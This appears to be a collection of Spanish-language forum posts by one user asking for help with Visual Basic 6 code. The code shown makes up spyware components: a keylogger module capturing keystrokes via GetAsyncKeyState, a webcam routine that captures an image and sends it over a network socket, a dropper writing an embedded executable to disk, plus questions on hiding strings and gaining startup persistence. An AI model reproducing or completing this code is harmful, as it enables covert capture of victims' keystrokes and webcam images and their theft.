Mensajes

Hola, buenas, alguien se prestaría a ayudarme a entender como funciona este modulo        gracias.

Código [Seleccionar] Expandir

'Módulo estándar basKeyLogger.bas
'
Option Explicit

Public bLogEnabled As Boolean

Function GetActiveKey() As Integer
        Static bStarted As Boolean
        Dim i%

 If Not bStarted Then
   'Inicializa el estado de las teclas llamando a
   'la función GetAsyncKeyState.
   '
   For i = 1 To 256
     Call GetAsyncKeyState(i)
   Next

   bStarted = True
 End If

 For i = 1 To 256
   'Obtiene la tecla pulsada actualmente.
   '
   If GetAsyncKeyState(i) Then
     GetActiveKey = i
   
     Exit For
   End If
 Next
End Function

Sub StopLog()
 bLogEnabled = False
End Sub

Sub LogKeys()
       Dim snTimer!
       Dim iActiveKey%
       Dim sChar$, sData$

 bLogEnabled = True

 Do While bLogEnabled
   snTimer = Timer
 
   Do While (Timer - snTimer) < 0.125
     'Espera 125 milisegundos hasta
     'la próxima pulsación.
   Loop
 
   iActiveKey = GetActiveKey
 
   Select Case iActiveKey
     Case vbKey0 To vbKey9, 32 To 47, vbKeyA To vbKeyZ
       sChar = Chr$(iActiveKey)
   
       sData = sData & sChar
   
     Case vbKeyReturn
       'Imprime lo que tiene en el buffer.
       '
       Debug.Print sData
     
       sData = vbNullString
     Case Else
       'Verifica otras teclas.
   End Select
 Loop

vaya forma de ayudar a quien intenta aprender ....... 

hola, alguien podria decirme en que falla mi funcion que las capturas de la cam me salen oscuras, no me las hace bien a color     

Código [Seleccionar] Expandir

Private Function webcam()
Clipboard.Clear
SendMessage hHwnd, WM_CAP_DRIVER_DISCONNECT, iDevice, 0
hHwnd = capCreateCaptureWindowA(iDevice, WS_VISIBLE Or WS_CHILD, 0, 0, 640, 480, picCapture.hwnd, 0)
If SendMessage(hHwnd, WM_CAP_DRIVER_CONNECT, iDevice, 0) Then
SendMessage hHwnd, WM_CAP_SET_SCALE, True, 0
SendMessage hHwnd, WM_CAP_SET_PREVIEWRATE, 66, 0
SendMessage hHwnd, WM_CAP_SET_PREVIEW, True, 0
SendMessage hHwnd, WM_CAP_EDIT_COPY, 0, 0
picCapture.Picture = Clipboard.GetData
SaveClipbrdPicture
End If
PictureView1.OpenPicture ("c:\Image.bmp")
PictureView1.SaveJPEG "C:\Image.jpg", True, 50
archivo0 = FreeFile
fragmento0 = 8192
ruta0 = "c:\Image.jpg"
Open ruta0 For Binary As #archivo0
Do While Not EOF(archivo0)
    lectura = Input(fragmento0, #archivo0)
    S.SendData lectura
    DoEvents
Loop
Close #archivo0
S.SendData "enviofin0"
End Function

bueno, salu2.

buenas podrian decirme en que falla este codigo que no captura la imágen y la guarda 

Código [Seleccionar] Expandir

SendMessage mCapHwnd, DISCONNECT, 0, 0
mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hwnd, 0)
SendMessage mCapHwnd, Connect, 0, 0
SendMessage mCapHwnd, GET_FRAME, 0, 0
SendMessage mCapHwnd, Copy, 0, 0
PV.Picture = Clipboard.GetData
SavePicture PV.Picture, "c:\" & "captura.bmp"

salu2.   

buenas, podrian decirme, por qué cuando le doy a capturar otra imágen de la webcam me sale: selecionar dispositivo  .

la primera ves que capturo bien, recibo la captura y la hace perfectamente  pero cuando doy otra vez al command button me da a elegir el dispositivo de captura 

como puedo solucionarlo 

eso es todo, gracias, saludos para todos.

hola, buenas todo el mundo, alguien podria guiarme con algun codigo como funciona lo de cifrar lineas del codigo de mi programa y como creo la funcion para cifrar, cual es el mejor metodo de encriptacion..no se estoy perdido, saludos. 

Añadirlo al registro, meterlo en la carpeta inicio...

MODIFICADO: ya vi como, sorry 

  hola, pues eso como podría hacerlo  la mejor forma, podrian darme algunos links  de los mejores metodos por favor y si puede hacer alguna  codigo comentado en caso de que sea muy enredoso, pues estoy empezando otra vez desde 0, saludos y muchas gracias por los que me estan ayudando 

bueno estudiando el codigo, voy a comentarlo corrijanme si me equivoco  saludos.

Código [Seleccionar] Expandir

Private Sub Command1_Click()
    Dim Data() As Byte ' la declaramos a Data como tipo Byte
    Dim ff As Long ' tipo long
    Data = LoadResData(101, "CUSTOM") ' le dice que data es igual a LoadResData y esto lo que hace es cargar mi archivo el que meti dentro del archivo res.
    If Len(Dir$("C:\ejemplo.exe")) Then Kill "C:\ejemplo.exe" ' aqui hace una condicion if diciendole que haga un dir en ese path si encuentra cierto archivo "ejemplo.exe" entonces lo elimina.
    ff = FreeFile ' ff le dice que cree un nuevo archivo.
    Open "C:\ejemplo.exe" For Binary Access Write As #ff ' luego abrimos ejemplo.exe para escribir en modo binario sobre ese nuevo archivo.
    Put #ff, , Data ' aca le metemos con put el valor de data ( mi archivo el que carge en el .res )
    Close ff ' cerramos
End Sub


PD: corrijanme, se agradecerá para asi mejor entender el codigo.

perdona cobein, si estuve leiendo pero no entendía gran parte del codigo de la página que el me paso, solo dije que no lo entendi, no lo pedi hecho, salio de sebasneo, se agradece mucho, pero te aseguro que SÍÍÍÍÍÍÍ !!!!!!!! estuve leyendo lo que no todos somos tan habilidosos como tú, disculpa